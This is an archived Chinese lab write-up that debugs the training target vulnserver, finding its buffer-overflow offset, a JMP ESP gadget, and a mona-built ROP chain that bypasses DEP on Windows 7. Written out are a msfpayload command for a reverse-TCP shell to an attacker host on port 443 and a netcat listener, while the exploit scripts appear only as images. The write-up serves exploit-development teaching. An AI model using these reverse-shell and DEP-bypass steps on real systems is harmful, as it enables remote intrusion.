# 利用ROP绕过DEP（Defeating DEP with ROP）调试笔记

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2014-11-05T02:19:00Z
Canonical: https://wepostx.com/topics/617

> 乌云历史资料归档
>
> **原始作者：** Debug_Orz
> **原始编号：** superkieran-wooyundrops:386
> **原始发布时间：** 2014-11-05 10:19
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

## 0x00 背景

本文根据参考文献《Defeating DEP with ROP》，调试vulserver，研究ROP (Return Oriented Programming)基本利用过程，并利用ROP绕过DEP (Data Execution Prevention)，执行代码。 0x00 ROP概述 缓冲区溢出的目的是为了控制EIP，从而执行攻击者构造的代码流程。
防御缓冲区溢出攻击的一种措施是，选择将数据内存段标记为不可执行，

![原文图片](/media/2016/06/b2000969c86b15567df922be0b517064)

![原文图片](/media/2016/06/5eeda7cc32b5c5fb4c32fa18c1a73c67)

随着攻击技术的演进，产生了ROP (Return-Oriented Programming)，Wiki上中文翻译为“返回导向编程”。下面的结构图回顾了Buffer overflow的发展历史和ROP的演进历史，不同的颜色表示了不同的研究内容，分为表示时间杂项标记、社区研究工作、学术研究工作，相关信息大家可以在网上查找。

![原文图片](/media/2016/06/ce7da40275ecf5043e0f349dd52ece1c)

由于DEP的存在，为了执行代码重用攻击，攻击者构造ROP Chain，通过寻找小部件（Gadget），将复杂操作转化为小操作，然后执行有用操作的短指令序列。例如，一个Gadget可能是让两个寄存器相加，或者从内存向寄存器传递字节。攻击者可以将这些Gadget链接起来从而执行任意功能。
链接Gadget的一种方式是寻找以RET结尾的指令序列。RET指令等效于POP+JUMP，它将当前栈顶指针ESP指向的值弹出，然后跳转到那个值所代表的地址，继续执行指令，攻击者通过控制ESP指向的值和跳转，达到间接控制EIP的目的，在ROP利用方法下ESP相当于EIP。如果攻击者可以控制栈空间布局，那么他就可以用RET控制跳转，从而达到间接控制EIP的目的。
下面举一个简单例子，说明ROP构造Gadget过程，栈空间形式化表示如下：

![原文图片](/media/2016/06/81f05f2ecf7b8e95fee05a7912ea0211)

Gadget构造过程描述：

- 假设攻击者打算将V1值写入V2所指向的内存空间，即Memory[V2] = V1；

- 攻击者控制了栈空间，能够构造栈空间布局；

- 攻击者采用间接方式，寻找等效指令实现，通过寻找Gadget指令实现；

- 攻击者找到Gadget，pop eax; ret。pop eax会将当前栈顶指针ESP所指向的内容V1存入寄存器EAX中。ESP值加4，指向新地址ESP=[ESP+4]。RET指令会将ESP新指向的内容a3存入寄存器EIP中，然后CPU会跳转到值a3所指向的地址执行。因此RET指令能够根据栈空间上的值，控制程序的跳转地址；

- 类似的pop ebp; ret 能够为ebp赋值，并让程序跳转到所指向的地址；

- 攻击者如果继续使用gadget，mov ebp,eax; ret，这将eax中的值移动到ebp所指向的地址中；

- 通过构造栈空间内容，让CPU按顺序执行上述Gadget，攻击者能够控制eax和ebp的值，并让eax的值写入地址ebp中。

- 借助Gadget，通过等效变换，攻击者可以向任意内存写入。

Gadget执行过程描述：
1） 初始时，栈顶指针为ESP，所指向内容为V1，EIP=a1。
2） POP操作，ESP值加4，POP相当于内存传送指令。
3） POP和MOV指令执行完，CPU会继续向下顺序执行。
4） RET相当于POP+JMP，所以RET操作，ESP值也会加4。

![原文图片](/media/2016/06/d7921590614110c8ed045968f4fa87fb)

ROP利用Gadget图形示意：

![原文图片](/media/2016/06/51646e748faeefb6ccf5a5ce4a069d9c)

## 0x01 调试环境和工具

![原文图片](/media/2016/06/eb6160a4e83011a642bfb9646895d430)

## 0x02 DEP默认设置，测试反弹shell

查询DEP的状态
根据微软官方说明：http://support.microsoft.com/kb/912923/zh-cn

![原文图片](/media/2016/06/acad914a9b605a88325109e1860cf04f)

运行命令：

```text
wmic OS Get DataExecutionPrevention_SupportPolicy
```

![原文图片](/media/2016/06/79f0d7170befd1aad4ce0c72edfc8195)

状态码为2，说明是默认配置。
另外，实验中，需要关闭Window 7防火墙。

![原文图片](/media/2016/06/ff4a36c367df1371cbf76ea7cc2fd1f5)

![原文图片](/media/2016/06/29fcdd6e3670c5ff9a0415862dc4802a)

查询运行vulserver的Windows 7系统IP地址：192.168.175.130。
[原始图片缺失：!%5Benter%20image%20description%20here%5D%5B12%5D]
启动存在漏洞的服务器。

![原文图片](/media/2016/06/855513ba7783678c19916c998261a785)

![原文图片](/media/2016/06/38546e0cb837aef74a6edcf1a97a7c35)

服务器连接测试
攻击端远程连接 nc 192.168.175.130:9999，测试服务器连接状态。

![原文图片](/media/2016/06/89fa84dc6bf863d036ff9d72383e0eab)

查看服务器端网络状态

![原文图片](/media/2016/06/fdad62b0f10d4ffd0874fb1ae66ba80b)

![原文图片](/media/2016/06/5cb6d11ec61965b02fec15c941eebe51)

生成测试脚本

![原文图片](/media/2016/06/29ee2ceaed023d46774dd666dc9a519a)

![原文图片](/media/2016/06/8da9d169185a2b46be7b98d7b0703a57)

![原文图片](/media/2016/06/92160b011baacaa7da6773962fecb18f)

在 Kali Linux上生成测试脚本，文本编辑nano vs-fuzz1 ，权限修改 chmod a+x vs-fuzz1， 执行脚本 ./vs-fuzz1 。
测试vulserver缓冲区大小
测试TRUN命令，测试接受字符大小，查看vulserver服务器崩溃情况。

![原文图片](/media/2016/06/1116ea5c4c48113a37d1f93a79033f21)

![原文图片](/media/2016/06/518cf9071cb248e72f0ebb3859b0ca80)

不断调整字符长度，从100到2000，大小为2000时程序崩溃。

![原文图片](/media/2016/06/6ef7a61e9cc69cb55e4a744445c05721)

![原文图片](/media/2016/06/f25d5748bd094170dda7de38831e3777)

备注：由于实验环境在其他测试中，设置了默认调试器，当vulserver服务崩溃后，Windbg直接跳出，捕获异常。

![原文图片](/media/2016/06/06a064d0e1ce2b4b6f5c22eb649af4d3)

修改默认调试器设置注册表，If Auto is set to 0, a message box is displayed prior to postmortem debugging。
在32位Windows 7系统下，注册表在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AeDebug。 键值Debugger为windbg。

![原文图片](/media/2016/06/c0c5b3ef4317b4a343c011c946a29849)

在64位Windows Server2008系统下，注册表HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\AeDebug。

![原文图片](/media/2016/06/dd0005ce10fc1974f634e29d99ebb3e9)

将Auto值设置为0后，重新打开vulserver.exe，Kali端重新发送数据，可以看到系统弹出了崩溃对话框。

![原文图片](/media/2016/06/4f35cc7caadc00bee61e2972b54554f1)

![原文图片](/media/2016/06/5a0fdd4ce3f717297bd7873895723bf5)

打开调试器，附加进程
为了进一步测试，程序崩溃情况，打开Immunity Debugger调试器，附加进程。

![原文图片](/media/2016/06/467a06d9b3cffeae3026b84c7f1f10a7)

![原文图片](/media/2016/06/6f3b0ea5260b5b7f1932fd5e918c5e47)

附加调试器后，重新发送数据包，选择发送字符长度3000，在调试器左边窗口的下部，可以看到 "Access violation when writing to [41414141] "。

![原文图片](/media/2016/06/91e0349dea20f4366772e95427985027)

"41" 是字符A的十六进制表现，具体对应表如下图。

![原文图片](/media/2016/06/515e910f9e5bb99930aef48ef184cf79)

这说明发送的“A”字符以某种方式由服务器程序错误地作为地址写入。由于地址是32位，也就是4个字节，而“A”的十六进制表示为41，所以地址变成了41414141。
这是一个典型的缓冲区溢出攻击，当一个子例程返回时，注入的字符41414141被放入EIP中，所以它成为下一条将要执行的指令地址。 但41414141是不是一个有效的地址，无法继续执行，所以调试器检测到程序崩溃并暂停，所以显示了Access violation。
从调试结果而言，程序存在溢出，存在可以被利用的漏洞。
开发漏洞利用程序的一种通常方式是，攻击字符长度固定，从而产生不同结果。本实验后续都使用字符长度3000来进行调试。

![原文图片](/media/2016/06/c1dfb74fd9094d532e9cc240beb2767d)

生成非重复模式的字符
为了精确表示哪些字符注入到EIP中，需要生成非重复的字符，具体代码如下。

![原文图片](/media/2016/06/a8441fa39ac8e03f2c83290c8b43aca2)

![原文图片](/media/2016/06/e6813d96c3a27338a5030fe1c603cef2)

在Kali Terminal 中输入命令，chmod a+x vs-eip0，使程序可执行。

![原文图片](/media/2016/06/50cda66d67364aea6db6cdd44266cc6a)

执行脚本 ./vs-eip0，可以看到生成的模式 (pattern)都是3个数字加一个A。

![原文图片](/media/2016/06/60dcee5759d865f5baac1f5289211526)

如果形象化展示，中间添加空格，该模式是这样的：

```text
000A 001A 002A 003A 004A ... 250A 251A 252A 253A 254A ... 495A 496A 497A 498A 499A
```
我们得到500组，每组4个字符，从000A 到 499A,总共2000个字节。
添加生成的字符，重新生成具有区分度的测试脚本如下。

![原文图片](/media/2016/06/1a6b506cc6a75245b3f3a9b53042ec44)

再次执行。

![原文图片](/media/2016/06/e7fe7a1556cd6f7040a78d19d0eb3de1)

通过调试器，可以发现"Access violation when executing [35324131]"。

![原文图片](/media/2016/06/1bb41b64648983d464091bb10531b8d8)

下面将十六进制转为字符表示：

```text
Hex Character --- --------- 35 5 32 2 41 A 31 1
```
因此，字符是“52A1”。然而，由于英特尔处理器是“小端字节序”，所以地址被反序输入，所以输入到EIP中的实际字符是“1A25”。
我们输入的字符串在内存中的表示如下所示：

![原文图片](/media/2016/06/cc5859effac9aa00a75adb322ece2595)

则不用借助于类似pattern_offset.rb之类的ruby脚本，可以从图形上快速计算出偏移值，251个四字节+2个字节。
模式'1A25'出现在251×4+2=1004+2=1006个字节之后
由于程序是在接收了2000字符之后崩溃，所以测试脚本在非重复模式之前添加了1000个A字符，则EIP包含4个字节是在2006字节之后。
控制EIP指向地址
在2006字节之后添加BCDE，使程序溢出后，EIP被覆盖为BCDE，后面继续填充许多F，以管理员模式运行Immunity Debugger和测试脚本。

![原文图片](/media/2016/06/aee711177561bba376498bfc40efae59)

![原文图片](/media/2016/06/b6c0d6d9a6a161cdea1e348946135587)

![原文图片](/media/2016/06/da0f4ee7d6dc933d10cf37de86cf50c7)

调试器捕获异常，"Access violation when executing [45444342]"，说明成功了，因为十六进制值是反序显示“BCDE”。

![原文图片](/media/2016/06/97955a3fbf0e4a7c0f14baaaf17029b0)

查看内存中ESP的值
当子例程返回后，我们来看一下ESP所指向的值。溢出之后，在ESP所指向的空间(01C1F9E0)写入了许多FFFF。

![原文图片](/media/2016/06/8d56ad040b39b6b47a4bb5c0d971a0d0)

测试坏字符
漏洞利用程序通过欺骗程序，插入代码到数据结构。
通常而言，以下这些字符会带来麻烦:

![原文图片](/media/2016/06/7e92cb1c161e7cf37840bb93c38a4697)

并不是上述所有字符会带来麻烦，也有可能存在其他坏字符。所以，接下来的任务是设法注入它们，看看会发生什么。
为了进一步测试坏字符，程序会向服务器发送一个3000字节，其中包括2006个“A”字符，随后是“BCDE”，程序返回结束后，它应该在EIP中，然后是所有256个可能的字符，最后是足够的“'F”字符，使得总长度为3000个字节。执行过程如下所示。

![原文图片](/media/2016/06/8194bb9280ec5d2bbf6ada25a3fcec46)

![原文图片](/media/2016/06/9b98a2da0e08b23e9ff289122b41ce6b)

![原文图片](/media/2016/06/a005df101bd18f3253692c898c9554b1)

查看调试器左下侧窗口。第一个字节是00，但其它字符没有注入到内存中，既不是其他255个字节，也不是“F”字符。说明发生了00字节结束的字符串。 只有'\ X00'是坏字符。

![原文图片](/media/2016/06/5f16d7ae533268f19bef84968272ad49)

![原文图片](/media/2016/06/3d26ec57d8d7f33a4025bae1f9378d57)

![原文图片](/media/2016/06/9e5cdb36d3daca1558279ec5147270d9)

![原文图片](/media/2016/06/df6b4a18adfcc5c6dc3a03f0dc00388f)

查找合适的模块
已经控制了EIP，现在需要让它指向我们希望的地址，我们需要在ESP所执行的位置执行代码。
能起作用的两个最简单指令是“JMP ESP”和两个指令序列“PUSH ESP; RET”。
为了找到这些指令，我们需要检查Vulnerable Server运行时载入的模块。
下面利用Immunity Debugger插件 mona.py，下载后将mona.py放置在程序安装目录C: \Immunity Inc\Immunity Debugger\PyCommands中。

![原文图片](/media/2016/06/3b04496710f7920ddf8bd9246260cb0d)

运行服务器程序，在调试器命令输入窗口中运行

```text
#!bash !mona modules
```

![原文图片](/media/2016/06/d5662e744e65da73629f43f2aefc6870)

由于Windows 7引入了ASLR，它导致模块的地址在每次启动之后都会发生变化。改变它每次重新启动时模块的地址。
为了得到可靠的漏洞利用程序，我们需要一个模块不带有ASLR和Rebase。
从下图中可以发现，有两个模块Rebase 和 ASLR 列都显示为"False"，它们是essfunc.dll和vulnserver.exe。

![原文图片](/media/2016/06/c9198609fbd201b5bc24b90029c1b9ee)

然而，由于 vulnserver.exe加载在非常低的地址值，开始于0x00，因此，任何引用该地址的vulnserver.exe将会获得一个空字节，而由于'\X00'是坏字符，所以它将不起作用而不能使用，因此，唯一可用的模块是essfunc.dll。 12 测试跳转指令 利用metasploit中的nasm_shell，可以显示"JMP ESP"和"POP ESP; RET"指令的汇编表示，分别是FFE4和5CC3。
如果我们能在essfunc.dll中找到这些字符序列，那么我们就能用它们开发漏洞利用程序。

![原文图片](/media/2016/06/559e774f82f974c7b0bf02f3cd8e1644)

在调试器中使用如下命令：

```text
!mona find -s "\xff\xe4" -m essfunc.dll
```
共发现9个，我们使用第一个地址625011af。

![原文图片](/media/2016/06/9ec90e4ba6b2ded4bc81073729e8f0e3)

生成反弹shell代码
查询攻击端IP地址，作为受害端反向连接的IP。

![原文图片](/media/2016/06/826bfba3401603d18154cd6f7ee5ae0c)

指定IP、端口、编码器x86/shikata_ga_nai生成shellcode。

```text
msfpayload windows/shell_reverse_tcp LHOST="192.168.175.142" LPORT=443 EXITFUNC=thread R | msfencode -e x86/shikata_ga_nai -b '\x00'
```

![原文图片](/media/2016/06/3fbfe75bf288199aacc6beae55916762)

生成完整测试代码。

![原文图片](/media/2016/06/bcc06fb6d8c78e3a73557f4ee8c30333)

运行nc -nlvp 443，监听443端口。

![原文图片](/media/2016/06/d04ef61d5d4c65684d0b17613ddf1e68)

运行vulserver，攻击端执行测试脚本 ./vs-shell，发送数据。

![原文图片](/media/2016/06/18da4bf12d2a00958ca7e3bc1a63dd39)

攻击端获得反弹shell，可以查询信息。

![原文图片](/media/2016/06/bfa9e67f588c3752d263dbc5b7295332)

测试栈空间代码执行情况
在基本DEP开启条件下，测试漏洞代码在内存空间上的可执行情况。

![原文图片](/media/2016/06/0a5a14be6c74da232712228f73129a6c)

![原文图片](/media/2016/06/b3342116cb205d3f31e102244436eb01)

![原文图片](/media/2016/06/13fcaab3cb22003fd019b2ea5d96c3e4)

NOP滑行区有许多“90”，最后跟着的是“CC”，说明可以向内存中注入并执行代码，代码为可执行状态。

![原文图片](/media/2016/06/b9df13578b7d6a7cc7615bb51ed67df2)

## 0x03 DEP全部开启，测试反弹shell

DEP全部开启

![原文图片](/media/2016/06/9e5bfcc8406b974fd71af7767dd81adb)

![原文图片](/media/2016/06/66b2a330c212eb2015f1d79954539ff3)

再次运行JMP ESP
在DEP全部开启的状态下，再次运行./vs-rop1，调试器显示"Access violation"。

![原文图片](/media/2016/06/6ded034cd74a654392b2a296a7bc3ec0)

我们不能在栈空间上执行任何代码，甚至NOP也不行，无法单步执行。DEP是一个强大的安全功能，阻挡了许多攻击。下面通过ROP来绕过DEP。
理论上来说，我们可以用ROP构造出整个Metasploit载荷，例如，反向连接（reverse shell），但那需要花费大量的时间。在实际应用中，我们只需要用ROP关闭DEP即可，这是一个简单而优雅的解决方案。
为了关闭DEP，或在DEP关闭后分配内存空间，可以使用的函数有：VirtuAlloc(), HeapCreate(), SetProcessDEPPolicy(), NtSetInformationProcess(), VirtualProtect(), or WriteProtectMemory()。
拼凑“Gadgets”（机器语言代码块）是一个相当复杂的过程，但是， MONA的作者已经为我们完成了这项艰难的工作。

```text
!mona rop -m *.dll -cp nonull
```
MONA会搜寻所有的DLL，用于构造有用的Gadgets链，可以想象，这是一个花费时间的工作。
生成ROP Chain
使用mona，我在开了2G内存的虚拟机中，运行消耗了 0:08:39。

![原文图片](/media/2016/06/bf887b808f4c5ea01285ef0e78b2f0e5)

![原文图片](/media/2016/06/ea64c4831944b94b1952563e732e77f2)

mona生成的rop_chains.txt，Python代码部分。

![原文图片](/media/2016/06/ff694376f285f49dd9402e4ba3c46020)

测试ROP Chain
通过ROP构造测试代码，再次运行，NOP滑行区有许多“90”，最后跟着的是“CC”，说明ROP链关闭了DEP，向栈上注入的代码可以被执行了，注入的代码是16个NOP和一个中断指令INT 3。

![原文图片](/media/2016/06/501c8744c8d389b2e155b9075ba7977e)

如果我们单步执行，EIP能够继续往下执行，而不会产生访问违例（Access violation）。

![原文图片](/media/2016/06/7f117a0ccc13d0697db2ed699e486bc7)

利用ROP反弹shell
将ROP代码加入，添加反弹shell的代码，修改生成测试脚本，开启nc -nlvp 443，启动服务端程序，执行程序vs-rop3。

![原文图片](/media/2016/06/9bbc9ce7d55a8d9d2ec991ea2be83287)

![原文图片](/media/2016/06/0176cf297d23b7ec80ab2f680546260e)

开启nc监听端口443，获得反弹shell，在攻击端查看Window 7系统上DEP状态，DataExecutionPrevention_SupportPolicy状态码为3，即所有进程都开启DEP情况下，利用ROP溢出成功。

![原文图片](/media/2016/06/41cab1654ee2b136503cb5a7a38bc24e)

反弹连接成功后，在服务端，查看连接状态信息。

![原文图片](/media/2016/06/1ea49641b085d983f945086ff78c443c)

![原文图片](/media/2016/06/fd38a257f18846bd008868466271b7d6)

使用TCPView查看，443端口是https连接。

![原文图片](/media/2016/06/80506aff673e61c87d9b69f507d7bb75)

## 0x04 参考文献

1) https://samsclass.info/127/proj/vuln-server.htm
2) https://samsclass.info/127/proj/rop.htm
3) http://www.thegreycorner.com/2010/12/introducing-vulnserver.html
4) http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-1-%E2%80%94-introduction/
5) http://en.wikipedia.org/wiki/Return-oriented_programming
6) http://blog.zynamics.com/2010/03/12/a-gentle-introduction-to-return-oriented-programming/
7) https://users.ece.cmu.edu/~dbrumley/courses/18487-f13/powerpoint/06-ROP.pptx
8) http://www.slideshare.net/saumilshah/dive-into-rop-a-quick-introduction-to-return-oriented-programming
9) http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html
10) http://blog.harmonysecurity.com/2010/04/little-return-oriented-exploitation-on.html
11) http://jbremer.org/mona-101-a-global-samsung-dll/
12) https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/
13) http://www.fuzzysecurity.com/tutorials/expDev/7.html
14) http://hardsec.net/dep-bypass-mini-httpd-server-1-2/?lang=en

## Replies
